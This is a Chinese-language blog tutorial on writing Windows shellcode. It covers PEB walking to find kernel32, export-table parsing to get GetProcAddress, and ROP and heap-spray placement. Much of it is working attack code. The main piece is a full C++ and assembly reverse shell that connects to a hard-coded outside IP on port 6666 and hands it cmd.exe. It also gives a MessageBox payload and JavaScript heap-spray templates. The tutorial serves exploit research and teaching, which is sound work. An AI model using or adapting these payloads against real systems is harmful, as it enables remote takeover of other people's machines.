摘要: 在C语言中,调用一个函数,编写者无需关心函数地址是如何获取的,所有的操作IDE在进行链接的时候帮助我们完成了。但是在shellcode中,这些操作都需要我们自己去完成,理解PE结构,理解函数表,这些都是shellcode编写最有魅力的一部分。
本文的逻辑首先是从C代码着手,学习如何使用汇编重现的基础,编写一个无移植性的shellcode作基础引导。在掌握了硬编码编写之后,通过掌握获取函数导出表,编写能够在所有Windows版本上运行的通用shellcode。
这篇文章时间跨度比较久远,起笔还是暑假在贵阳的时候,后来做了一段时间WEB安全,这篇文章便写了一小半就烂尾了。后来投入到Win/Browser下漏洞的怀抱中,需要在WIN7下做一些自定义shellcode,自己之前自定义的shellcode居然无法在WIN7下运行,于是想起这篇未完工的文章,借此对shellcode编写做一次总结与复习。
0x00 创建自己的SC实验室 当我们创建自己的shellcode实验室时候,我们必须清楚无论是自己编写的,亦或者是网络上获取的shellcode,我们都需要对其的行为有一个深刻的了解。
首先是安全性,要做的就是在一个相对安全的环境下进行测试(例如虚拟机),以保证不会被黑吃黑。
其次,这个测试方法要足够方便。不能将shellcode随意的扔到自己写的Exploit中进行测试,因为大多数Exploit对shellcode的格式要求是非常严格的,尤其是栈溢出方面的漏洞。初期编写的shellcode可能包含大量Null字节,容易被strcpy截断。
下面是我们的shellcode调试环境,如果是WIN7以后的版本需要将DEP选项关闭。
Shellcode-lab
调试一段shellcode 环境:windows xp sp0 编译器:VC++6.0
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0x01从C到shellcode shellcode大多是包含很多恶意行为的代码,就如它名字由来的那样 “获取shell的代码”。
但是在漏洞大多数复现中,我们需要做的仅仅是证明自己能够利用,所以我们编写的shellcode需要满足无害性和可见性。例如弹出一个计算器,或者如下面的C代码一样,让Exploit弹出一个极具个人风格的MessageBox也是一个不错的选择。
C实现非常简单,只需要调用MessageBox函数,写入参数。
1 2 3 4 5 #include<windows.h> int main(int argc,char** argv) { MessageBox(NULL,"You are hacked by Migraine!","Pwned",MB_OK); }
放入IDA,查找到Main函数的位置。 可以查看反汇编,四个参数分别PUSH入栈,然后调用MessageBoxA MSDN对MessageBox的描述
1 int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaptioUINT uType );
在OD中下断点调试,得到同样的结果。
基于调试可知,MessageBoxA从USER32.DLL加载到内存的地址为0x77D3ADD7
当然这个地址是非常不稳定的,受到操作系统版本还有很多因素(例如ASLR)的影响
不过为了简便shellcode,目前将这部分先放一放。
在我们编写的另一个程序中(见下文),发现这个函数依旧被映射到了同一个位置
因为XP没有开启ASLR的缘故,DLL加载的基地址不会变化
值得注意的是该程序需要调用USER32.DLL,否则需要手动LoadLibrary
但是现在这段C生成的代码,直接提取字节码是行不通的。
函数的参数被放在了该程序的Rodata段中调用,与地址无关的段。
而我们要求shellcode能在任何环境下运行,需要保证参数可控,即需要将参数入栈,然后再调用。
接下来用汇编重写一遍(C嵌入asm)
通过自己将数据入栈,然后调用MessageBoxA
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将ASM提取字节码
再OD中查看这一段ASM
使用UltraEditor查看16进制字节码,然后找到我们的ASM,复制便成功提取了我们的shellcode
1 2 3 4 5 68 6E 65 00 00 68 67 72 61 69 68 79 20 4D 69 68 65 65 20 62 68 68 61 63 6B 68 61 72 65 20 68 59 6F 75 20 8B DC 6A 00 68 61 69 6E 65 68 4D 69 67 72 8B CC 33 C0 50 51 53 50 BE D7 AD D3 77 FF D6 5F 5E 5B 83 C4 40 3B EC E8 97 3B FF FF
调整一下格式,便获取到了shellcode
1 2 3 4 5 char shellcode[]="\x68\x6E\x65\x00\x00\x68\x67\x72\x61\x69\x68\x79\x20\x4D\x69\x68" "\x65\x65\x20\x62\x68\x68\x61\x63\x6B\x68\x61\x72\x65\x20\x68\x59" "\x6F\x75\x20\x8B\xDC\x6A\x00\x68\x61\x69\x6E\x65\x68\x4D\x69\x67" "\x72\x8B\xCC\x33\xC0\x50\x51\x53\x50\xBE\xD7\xAD\xD3\x77\xFF\xD6" "\x5F\x5E\x5B\x83\xC4\x40\x3B\xEC\xE8\x97\x3B\xFF\xFF" ;
放入上文搭建的shellcode调试环境,添加LoadLibrary(“user32.dll”);以及头文件#include<windows.h>
在WInodws xp下运行效果理想
优化shellcode 去除null字节
这里使用xor配合sub就能够完全去除null,还有一些其他方法,使用16位寄存器避免null字节,在《exploit编写教程》上面都有详细的介绍,就不再重复造轮子了。
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此时生成的shellcode就不存在\x00了
0x02编写更稳定Shellcode 如何提高shellcode 的可移植性一直是一个需要我们在一的问题。
前文我们编写的MessageBoxA的地址是硬编码的,导致这段shellcode只能利用于windows xp sp0。
但是Windows并不支持像Linux那样的int 0x80中断呼叫函数的操作,于是唯一的方法就是通过PE文件中的函数导出表获取函数此刻的地址,这个方法在提高可移植性的同时,还可以一劳永逸地解决ASLR带来的地址偏移问题。
1. 动态定位kernel32.dll 不同版本的操作系统,kernel32.dll的基地址也是不同的。Windows没有linux那样方便的中断机制来调用系统函数,所以只能通过基址+偏移地址来确定函数的位置。
通过PEB获得基址
我们可以通过Windbg解析PEB(WindowsXP符号表已经不再支持自动下载)
所以手动下载安装WindowsXP-KB936929-SP3-x86-symbols-full-ENU.exe
但是碰到一些问题,所以在Windows10下用Windbg(x86)进行PEB分析
使用windbg加载任意一个x86程序,会出现break,等待到出现int 3即可进行操作
!peb可以自动分析,可以查询到KERNEL32.DLL的地址。
PEB是进程环境块,由TEB线程环境块偏移0x30字节。我们这里需要直到查找地址的原理。
大概流程是通过FS段选择器找到TEB,通过TEB找到PEB,然后获取kernel和ntdll的地址。
接下来我们在windbg中,来手工实现PEB结构分析,之后会使用汇编完成Kernel基址的读取。
查看PEB结构
直接查看LDR结构
偏移0xc,选择InLoadOrderModuleList
查看这个_LIST_ENTRY结构
_LIST_ENTRY 是一个存放双向链表的数据结构(包含于_LDR_DATA_TABLE_ENTRY)
_LDR_DATA_TABLE_ENTRY是存放载入模块信息的结构,并且是由_LIST_ENTRY这个双向链表串联起来。
由三种串联方式,区别仅在于排列顺序(上文我们偏移0x14选择InMemoryOrderModuleList )
1 2 3 +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x51c00 - 0x78f6b88 ] +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x51c08 - 0x78f6b90 ] +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x51c90 - 0x78f6b98 ]
第一个_List_ENTRY指向的地址是0x51c08(因为InMemoryOrderModuleList的指针指向的是下一个结构的InMemoryOrderModuleList,而不是_LDR_DATA_TABLE_ENTRY的结构头,需要偏移0x8)
查看对应的_LDR_DATA_TABLE_ENTRY结构,得知这是iexplore.exe(调试的宿主程序)的基地址为0x01120000(DLLBase)
接下来顺着LIST_ENTRY,往下寻找结点。发现kernel在第三个结点。
查看这个地址的_LDR_DATA_TABLE_ENTRY结构
通过这两次观察,可以发现,实际上这个结构体的第一个结构就是_List_ENTRY,负责将这些_LDR_DATA_TABLE_ENTRY结构串联成链表。
偏移0x18可以得出DllBase为0x77e10000
成功获取Kernel的基地址。
用接下来用汇编实现kernel地址的读取
原理是在InMemoryOrderModuleList结构中,kernel位置固定为第三个。
1 2 3 4 5 6 7 8 9 10 11 12 13 global CMAIN CMAIN: mov ebp, esp; for correct debugging xor ebx,ebx mov ebx,[fs:0x30] ;TEB+0x30->PEB mov ebx,[ebx+0xc] ;PEB+0xc->LDR mov ebx,[ebx+0x14] ;LDR+0x14->InMemoryOrderModuleList-->_LIST_ENTRY第一个节点->??.dll mov ebx,[ebx] ;-->_LIST_ENTRY第二个节点->ntdll.dll mov ebx,[ebx] ;-->_LIST_ENTRY第三个节点->Kernel.dll mov ebx,[ebx+0x10]; DllBase偏移0x18减去指向偏移0x8;下文会详细分析 xor eax, eax ret
使用SASM调试,在结尾下断点,发现ebx已经成功赋值为了kernel的地址,与windbg显示的一致。(此处的汇编代码是之前在另一台机器上做的实验,所以kernel地址不同,希望不要引起争议)
使用命令!peb
如果需要在VS下编译,也可采用内联汇编实现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int _tmain(int argc, _TCHAR* argv[]) { int kernel32=0; _asm{ xor ebx,ebx mov ebx,fs:[0x30] mov ebx,[ebx+0xc] mov ebx,[ebx+0x14] mov ebx,[ebx];ntdll mov ebx,[ebx];kernel mov ebx,[ebx+0x10];DllBase mov kernel32,ebx } printf("kernel32=0x%x",kernel32); getchar(); return 0; }
上述代码中(SASM),比较需要注意的第15行为ebx+0x10而不是0x18(_LDR_DATA_TABLE_ENTRY结构中标准的DllBase偏移)
主要原因是InMemoryOrderLinks的指针指向的是下一个_LDR_DATA_TABLE_ENTRY的InMemoryOrderLinks(结构偏移0x08),所以需要该地址减去-0x8才是正确的文件头(图中案例0x954dd0-0x8)
所以当ebx存放InMemoryOrderLinks的指针时,要获取DllBase需要偏移0x18-0x8=0x10
至此我们已经获取到了kernel32.dll的基地址,获取这个地址的方法还有很多方法,使用SEH、TEB都可以间接获取Kerne32的地址,如果有需要可以参考《Exploit编写系列教程》。还有需要注意的是不同系统下,某些获取方法可能会失效,这次实验的测试环境(Win7)下的寻址就和之前的系统有一些不同,所以可能不会向前兼容,不过通过windbg对单个系统进行符号调试,是很容易发现区别的并且修改方案。
2. 获取函数地址 在理解这部分之前,我们首先需要对PE格式有一定的了解。就从我们刚才获取了基地址的Kernel32作为基础,一步步看如何获取系统API函数的地址。
首先从DOS头开始,Windbg能够使用符号表来对地址进行解析。
解析_IMAGE_DOS_HEADER结构,我们只需要了解e_lfanew字段,指向PE头,该字段在在DOS头偏移0x3c的位置。
之前的kernel基址加上e_lfanew字段的偏移(0n开头表示十进制)是指向PE头的指针。
获取了PE头指针,我们即可以使用windbg解析PE头的_IMAGE_NT_HEADERS结构
_IMAGE_FILE_HEADER 是一个结构体,包含代码数目、机器类型以及特征等信息。
而我们这里需要使用的结构体是_IMAGE_OPTIONAL_HEADER
继续利用windbg分析,经过两次分析,现在的读者应该也已经轻车熟路了。
分析_IMAGE_OPTIONAL_HEADER,其包含以下几个信息。
很显然,偏移0x60的DataDirectory段就是函数导出表的偏移。
1 2 3 AddressOfEntryPoint:exe/dll 开始执行代码的地址,即入口点地址。 ImageBase:DLL加载到内存中的地址,即映像基址。 DataDirectory-导入或导出函数等信息。
继续解析这个结构,终于获取到了这个结构到VA。
因为我们之前的解析都没有用到指针,所以可以一起算VA偏移PE头一共0x78字节(240是PE偏移DOS,是动态获取)
获取到DATA DIRECTORY结构到VirtualAddress地址
我们关心的主要有三个数组结构
1 2 3 AddressOfFunctions:指向一个DWORD类型的数组,每个数组元素指向一个函数地址。 AddressOfNames:指向一个DWORD类型的数组,每个数组元素指向一个函数名称的字符串。 AddressOfNameOrdinals:指向一个WORD类型的数组,每个数组元素表示相应函数的排列序号
AddressOfNames的结构是一个数组指针,每个机器位(4字节)都指向一个函数名的字符串。
所以我们可以通过遍历这个数组,结合字符串匹配获取到该函数的序号。
AddressOfNameOrdinals存放这对应函数的索引值,在获取了函数的序号之后,按照序号查找函数索引值。
需要注意的是每个索引值占2字节。
例如第三个函数ActivateActCtx函数的索引值为4
AddressOfFunctions则根据索引排序,存放着函数的地址。
地址加上0x10[索引4字节*指针4字节]存放ActivateActCtx函数的偏移地址。
我们使用汇编来实现这一过程,接着上面的汇编代码,此时的EBX存放Kernel32的地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ;从Kernel32的PE头,获取DATA DIRECTORY的地址 ;Get address of GetProcessAddress mov edx,[ebx+0x3c] ;DOS HEADER->PE HEADER offset add edx,ebx ;PE HEADER mov edx,[edx+0x78] ;EDX=DATA DIRECTORY add edx,ebx ;EDX=DATA DIRECTORY ;将字符串与AddressOfNames 数组匹配,获得函数的序号 ;compare string xor ecx,ecx mov esi,[edx+0x20] add esi,ebx Get_Func: inc ecx lodsd ;mov eax,esi;esi+=4 add eax,ebx; cmp dword ptr[eax],0x50746547 ;GetP jnz Get_Func cmp dword ptr[eax+0x4],0x41636f72;proA jnz Get_Func cmp dword ptr[eax+0x8],0x65726464 ;ddre jnz Get_Func ;通过序号在AddressOfNameOrdinals中获取索引 ;get address mov esi,[edx+0x24] ;AddressOfNameOrdinals add esi,ebx mov cx,[esi+ecx*2];num dec ecx ;通过索引在AddressOfFunctions中获取函数地址,存放于EDX mov esi,[edx+0x1c];AddressOfFunctions add esi,ebx mov edx,[esi+ecx*4] add edx,ebx ;EDX = GetProcAddress
此时我们已经获取了GetProcAddress函数的地址,所有关于PE文件的内容到这里也就结束了,之后我们就可以想C语言一样非常容易地调用一个函数。我们已经度过了编写shellcode最黑暗的过程,接下来迎接着我们的将是一条康庄大道。
通过GetProcAddress,我们首先可以使用获取LoadLibrary函数的地址,该函数可以用来加载user32模块,同时获取其基地址。这部分就比较简单了,直接贴代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ;Get LoadLibrary xor ecx,ecx push ebx ;Kernel32 入栈备份 push edx ;GerProcAddress 入栈备份 push ecx ;0 push 0x41797261 ; aryA push 0x7262694c ; Libr push 0x64616f4c ; Load push esp;"LoadLibraryA" push ebx ; call edx ;GerProcAddress(Kernel32,"LoadLibraryA") add esp,0xc ;pop "LoadLibraryA" pop ecx; ECX=0 push eax ;EAX=LoadLibraryA push ecx mov cx, 0x6c6c ; ll push ecx push 0x642e3233 ; 32.d push 0x72657375 ; user push esp ; "user32.dll" call eax ; LoadLibrary("user32.dll")
到这里,有一定汇编和WIN32基础的读者已经可以编写shellcode逻辑了,思路即通过GetPrcAddress函数获取需要的函数地址,能结合完成各项功能,剩下的部分就需要读者发挥自己天才的想象力了。
文末会提供一个完整编写的shellcode作为案例。
0x03三种经典的shellcode形式
Shellcode在功能性上的实现,主要分为以下三大类 分别是下载恶意文件执行、程序本身捆绑文件还有直接反弹shell获得控制权 在内核层面则还有提权等操作,这里只对应用层shellcode功能实现做一个归类。
(1)下载执行 调用URLDownloadToFile函数下载恶意文件到本地,并且使用Winexec执行 函数原型
1 2 3 4 5 6 7 HRESULT URLDownloadToFile( LPUNKNOWN pCaller, LPCTSTR szURL, LPCTSTR szFileName, _Reserved_ DWORD dwReserved, LPBINDSTATUSCALLBACK lpfnCB );
(2)捆绑
通过GetFileSize获取文件句柄,获取释放路径(GetTempPathA),设置好文件指针(SetFilePoint),使用VirtualAlloc在内存中申请一块内存,再将数据读取(ReadFile)写入到本地文件(CreateFIle WriteFile),最后在对该文件执行。
(3)反弹shell
反弹shell属于无文件攻击,使用socket远程获得对方的cmd.exe。优点是不容易留下日志,适合渗透测试中使用,缺点也很明显,维持连接的稳定性较差。
在Windows下实现反弹shell,比Linux多了一个步骤,启动或者初始化winsock库,之后创建cmd.exe进程然后TCP连接端口/打开监听方法都是相近的。
需要注意的使用C编程可以使用Socket结合双管道进行通信,但是用汇编管道编写比较麻烦。不建议使用管道来进行通信。解决方案是使用WSASocket代替Socket,这个函数支持IO重叠。
函数原型
1 2 3 4 5 6 7 8 SOCKET WSASocket ( int af, int type, int protocol, LPWSAPROTOCOL_INFO lpProtocolInfo, GROUP g, DWORD dwFlags );
这里我们主要针对第三种功能,实现一个无管道的反弹shell代码。 因为篇幅较长,这里使用C++实现,接下来只需要用汇编调用函数实现即可。 本部分参考博客:https://blog.csdn.net/PeterZ1997/article/details/79448916
实现环境
WIN7 SP1 VS2010
首先实现一个TCP连接,使用nc做连接测试。
WSASocket的使用与Socket基本一致,多出来的参数设置为NULL即可。
包含头文件WinSock2.h和winsock.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 //初始化WSA套接字 WSADATA wsd; WSAStartup(0x0202,&wsd); SOCKET socket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); SOCKADDR_IN sin; sin.sin_addr.S_un.S_addr=inet_addr(REMOTE_ADDR); sin.sin_port=htons(REMOTE_PORT); sin.sin_family=AF_INET; //连接远程的服务端,发送验证代码 connect(socket,(sockaddr*)&sin,sizeof(sin)); send(socket,"[+]Hello!\n",strlen("[+]Hello!\n"),0); 接下来将使用CreateProcess为cmd.exe创建子进程,然后将标准输入、标准输出、标准错误输出都绑定到socket上。(这部分在Linux下实现比起Windows就简单多了,可以直接重定向) //创建cmd进程 STARTUPINFO si; PROCESS_INFORMATION pi; GetStartupInfo(&si); si.cb=sizeof(STARTUPINFO); si.hStdInput=si.si.hStdOutput=si.hStdError=(HANDLE)socket; //将标准输入输出绑定到Socket si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow=SW_HIDE; TCHAR cmdline[255]=L"cmd.exe"; while(!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)){ //创建进程,第五个参数TRUE子进程继承父进程的所有句柄 Sleep(1000); } WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
在汇编编写中,可以讲首先计算出关键函数和DLL的基地址并且放入栈帧,方便随时调用。
socket类的函数(WSAStartup、connect)如果执行成功EAX会返回0,如果失败会返回-1(0xFFFFFFFF)
以上程序实现函数的来源
Kernel32.dll
1 2 3 CreateProcessA GetStartupInfoA LoadLibraryA
ws2_32.dll
1 2 3 WSAStartup WSASocketA connect
使用汇编编写
初始化部分(代码量较大)
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cmp dword ptr[eax],0x50746547 ;GetP jnz Get_Func cmp dword ptr[eax+0x4],0x41636f72;proA jnz Get_Func cmp dword ptr[eax+0x8],0x65726464 ;ddre jnz Get_Func ;get address mov esi,[edx+0x24] ;AddressOfNameOrdinals add esi,ebx mov cx,[esi+ecx*2];num dec ecx mov esi,[edx+0x1c];AddressOfFunctions add esi,ebx mov edx,[esi+ecx*4] add edx,ebx ;EDX = GetProcessAddress ;EDX=GetProcAddr ;EBX=kernel32 ;get CreateProcess address xor ecx,ecx push ebx ;Kernel32 push edx;GetProcAddr mov cx,0x4173;sA push ecx ;sA push 0x7365636F;oces push 0x72506574;tePr push 0x61657243;Crea push esp ;"CreateProcessA" push ebx call edx;GetProcAddr("CreateProcessA") add esp,0x10 ;clean stack push eax ;CreateProcessA ;CreateProcessA <--esp ;GetProcAddr <-- esp+4 ;Kernel32 <--esp+8 //mov ebx,[esp+8];Kernel32 mov edx,[esp+4];GetProAddr ;get GetStartupInfo address mov ecx,0x416F66 push ecx;foA push 0x6E497075;upIn push 0x74726174;tart push 0x53746547;GetS push esp push ebx ;Kernel32 call edx ;GetProAddresss("GetStartupInfoA") add esp,0x10;clean stack push eax ;GetStartupInfoA mov edx,[esp+8];GetProAddr ;Get LoadLibrary xor ecx,ecx push ecx ;0 push 0x41797261 ; aryA push 0x7262694c ; Libr push 0x64616f4c ; Load push esp;"LoadLibraryA" push ebx ; call edx ;GerProcAddress("LoadLibraryA") add esp,0xc ;pop "LoadLibraryA" pop ecx; ECX=0 push eax ;EAX=LoadLibraryA mov cx,0x3233 ; 32 push ecx; push 0x5F327377 ; ws2_ push esp ; "ws2_32" call eax ; LoadLibrary("ws2_32.dll") ;MessageBoxA address add esp,0x8 ;pop "ws2_32.dll" push eax ;ws2_32.dll <--esp ;LoadLibraryA <--esp+4 ;GetStartupInfoA <--esp+8 ;CreateProcessA <--esp+0c ;GetProcAddr <-- esp+0x10 ;Kernel32 <--esp+0x14 mov edx,[esp+0x10] ;GetProcAddress xor ecx,ecx mov cx,0x7075;up push ecx push 0x74726174;tart push 0x53415357 ;WSAS push esp ;"WSAStartup" push [esp+0x10];ws2_32.dll call edx;GetProcAddress("WSAStartup") add esp,0xc push eax;WSAStartup mov edx,[esp+0x14] ;GetProcAddress mov ebx,[esp+4];ws2_32.dll xor ecx,ecx mov cx,0x4174; push ecx ;tA push 0x656B636F ;ocke push 0x53415357 ;WSAS push esp ;"WSASocket" push ebx;ws2_32.dll call edx;GetProcAddress("WSASocket") add esp,0xc push eax;WSASocket mov edx,[esp+0x18] ;GetProcAddress mov ebx,[esp+8];ws2_32.dll xor ecx,ecx push 0x746365 ;ect push 0x6E6E6F63 ;conn push esp ;"connect" push ebx;ws2_32.dll call edx;GetProcAddress("connect") ;inet_addr add esp,0x8 push eax;connect mov edx,[esp+0x1c] ;GetProcAddress mov ebx,[esp+0xc];ws2_32.dll xor ecx,ecx mov cx,0x72; push ecx;r push 0x6464615F;_add push 0x74656E69;inet push esp ;"inet_addr" push ebx;ws2_32.dll call edx;GetProcAddress("inet_addr") ;htons add esp,0xc push eax; mov edx,[esp+0x20] ;GetProcAddress mov ebx,[esp+0x10];ws2_32.dll xor ecx,ecx mov cx,0x73 push ecx;s push 0x6E6F7468;hton push esp ;"htons" push ebx;ws2_32.dll call edx;GetProcAddress("htons") add esp,0x8 push eax ;htons <--esp ;inet_addr <--esp+4 ;connect <--esp+8 ;WSASocket <--esp+0xc ;WSAStartup <--esp+0x10 ;ws2_32.dll <--esp+0x14 ;LoadLibraryA <--esp+0x18 ;GetStartupInfoA <--esp+1c ;CreateProcessA <--esp+0x20 ;GetProcAddr <-- esp+0x24 ;Kernel32 <--esp+0x28 编写Socket部分 到这里,我们的程序已经能和服务器建立TCP连接了 /*Socket部分*/ //WSTartup(0x202,&WSADATA,) sub esp,0x20 mov eax,[esp+0x30] push esp;lpWSADATA push 0x202;wVersionRequested call eax //if eax->0 sucess.else fail //WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0) mov eax,[esp+0x2c];WSASocket xor ecx,ecx push ecx push ecx push ecx mov cx,0x6 push ecx mov cx,0x1 push ecx inc ecx push ecx call eax push eax; //push socket //inet_addr(120.79.174.75) mov eax,[esp+0x28] ;inet_addr xor ecx,ecx mov cx,0x35 push ecx;5 push 0x372E3437;74.7 push 0x312E3937;79.1 push 0x2E303231;120. push esp; call eax; add esp,0x10 push eax;push Remote_addr -->sa_data+2 //htons(6666) mov eax,[esp+0x28] ;htons push 0x1A0A ;6666 call eax mov edx,[esp+0x30];connect //Store sock_addr push ax;push Remote_ports -->sa_data mov ax,0x2 push ax;push AF_INET -->sa_family mov ebx,esp; store sock_addr //Connect(socket,&sock_addr,sizeof(sock_addr)); /* 00000000 sockaddr struc ; (sizeof=0x10, align=0x2, copyof_12) 00000000 ; XREF: _wmain_0/r 00000000 sa_family --> AF_INET(2) ; XREF: _wmain_0+80/w 00000002 sa_data --> htons(REMOTE_PROT) ; XREF: _wmain_0+75/w 00000004 sa_data+2 --> inet_addr(REMOTE_ADDR) ; _wmain_0+9B/w 00000010 sockaddr ends */ push 0x10 ; sizeof(sock_addr) push ebx ;scok_addr push [esp+0x10];socket call edx ;connect ; server#nc -l 6666 (close fire wall) 在本地创建cmd.exe子进程 注意这两个语句也需要实现,否则只能在本地打开一个shell #define STARTF_USESTDHANDLES 0x00000100 即使用父进程的句柄(我们的Socket也是一个句柄)而不是全新的句柄。 //si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; //si.wShowWindow=SW_HIDE; /*创建cmd.exe子进程*/ /* 00000000 _STARTUPINFOW struc ; (sizeof=0x44, align=0x4, copyof_14) 00000000 ; XREF: _wmain_0/r 00000000 cb ->size 44 ; XREF: _wmain_0+134/w 00000004 lpReserved dd ? ; offset 00000008 lpDesktop dd ? ; offset 0000000C lpTitle dd ? ; offset 00000010 dwX dd ? 00000014 dwY dd ? 00000018 dwXSize dd ? 0000001C dwYSize dd ? 00000020 dwXCountChars dd ? 00000024 dwYCountChars dd ? 00000028 dwFillAttribute dd ? 0000002C dwFlags <--0x100 00000030 wShowWindow dw 00000032 cbReserved2 dw ? 00000034 lpReserved2 dd ? ; offset 00000038 hStdInput ->socket ; XREF: _wmain_0+159/w ; offset 0000003C hStdOutput ->socket ; XREF: _wmain_0+14D/w 00000040 hStdError ->socket ; XREF: _wmain_0+141/w 00000040 ; _wmain_0+147/r ; offset 00000044 _STARTUPINFOW ends 00000044 */ //init _STARTUPINFO mov esi,[esp+0x8] push esi; push hStdError push esi; push hStdOutput push esi; push StdInput xor esi,esi xor ecx,ecx push esi; push esi; push 0x100; dwFlags mov cx,0xa PUSH_NULL: push esi loop PUSH_NULL mov ecx,0x44 ;cb push ecx mov edx,esp ;_STARTUPINFO mov ebx,[esp+0x90];CreateProcess push 0x657865;exe push 0x2E646D63;cmd. mov esi,esp ;"cmd.exe" //CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi) push edx;&pi push edx ;&si xor ecx,ecx push ecx;NULL push ecx;NULL push ecx;NULL inc ecx push ecx;TRUE sub ecx,0x1 push ecx;NULL push ecx;NULL push esi;cmdline push ecx;NULL call ebx;CreateProcess push eax
在执行call之后,你的服务器会得到一个windows的反弹shell。生成Unicode码之后,继续用可怜的IE8来做实验。github项目地址
0x04 shellcode布置技术 我们知道在栈溢出中,可以将shellcode布置在栈空间的不同位置,同样在实际漏洞利用中,尤其在栈溢出已经落寞的今天,堆利用中,布置shellcode方法更是层出不穷,笔者也无法将所有的方案汇总全面,就仅对目前常见的几种布置技术做个总结。
Jmp esp /ROP 在Windows中使用jmp esp(跳板技术)的频率远远高于linux(虽然这种技术在linux下也可用),比起将shellcode放在ret地址后面,将shellcode放在栈顶能有效减少空间。通过调用jmp esp将程序跳转到shellcode。
虽然在DEP和ASLR盛行的年代,这个技术也早已不再有用武之地。但除了对于研究历史漏洞帮助,该技术还是引入ROP这个概念的一个前置知识,在学习了ROP之后,你会忽然领悟的。
这次让我们放下windbg,自己动手编程实现寻找jmp esp
编程实现寻找gadget
以jmp esp为案例,寻找user32.dll中的所有jmp esp地址。
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使用ROP绕过DEP ROP技术是用于绕过栈不可执行(其实现在的堆也不可执行咯),什么是ROP技术。其实之前的jmp esp已经引出了ROP的基础理念,即使用程序自身text段的机器码执行。
ROP的全程面向返回语句的编程,一个个gadgets串联起来的链叫做ROP链。每个gadgets的格式大概为“ 指令 指令 ret”,通过ret命令将所有的gadgets串联起来。
如果说jmp esp是一个跳板就直指靶心,那么ROP就是经过好多跳板,分步骤完成自己的命令。
常见的绕过DEP的案例,就是通过ROP实现VirtualProtect来对shellcode所在内存修改属性(相当于关闭DEP),将其修改为可执行,再通过JMP R32来跳转执行Shellcode。
具体案例可以参考我之前写的对IE浏览器写的Exploit
https://www.anquanke.com/post/id/190590
HeapSpray 堆喷射是一种shellcode布置技术,常常借助javascript等脚本语言实现,所以常见于浏览器漏洞。
上古的堆喷射
在Windows XP SP3以前,Windows下大部分程序都不会默认开始DEP(或者不支持),只需要构建nop(大量)+shellcode的内存块,使用javascript申请200MB的内存空间,能够覆盖内存的大量空间。只要控制程序流跳转到类似0x0c0c0c0c(也可以是其他位置,只要足够稳定就行)这样就会顺着nops一路滑到shellcode并且执行。
参考代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <script language="javascript"> shellcode="\u1234\u1234\u1234\u1234\u1234\u1234\u1234\u1234\u1234\u1234\u1234\u1234"; var nop="\u9090\u9090"; while(nop.length<=0x100000/2) { nop+=nop; } nop=nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2); //nop=nop.substring(0,0x100000-32/2-4/2-2/2); var slide=new Array(); for(var i=0;i<200;i++){ slide[i]=nop+shellcode; // slide[i]=nop; } </script>
精确堆喷射
在Windows进入后DEP时代,面临DEP和ASLR的双重防线,DEP导致堆中的数据无法执行,之前布置大量数据以量取胜的战术失去了意义。于是heap-feng-shui(堆风水)技术被提出。
通过堆风水,我们申请0x1000个0x80000大小的堆块。分配量足够大,导致堆块中的每0x1000个小的片的开始地址都是固定,通常为0xYYYY020。
因此我们能够将ROP链的头部稳定对齐末尾固定的四字节(例如0xYYYY0050)。这样就能构成某种意义上的精确喷射。
参考文献:http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html
IE8下的参考代码(shellcode喷射对齐0x0c0c0c0c)
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More待续
JIT-Spray?
JIT-ROP?
参考文献:
[1]peter.《Exploit编写教程》[OL/DB],2010
[2]《现代化windows漏洞程序开发》[OL/DB],2016
[3]Failwest.《0day安全》[M].电子工业出版社,2011
[4]PEB手工分析
[5]WinXp符号表不支持解决方案
[6]https://blog.csdn.net/x_nirvana/article/details/68921334
[7]https://blog.csdn.net/hgy413/article/details/7422722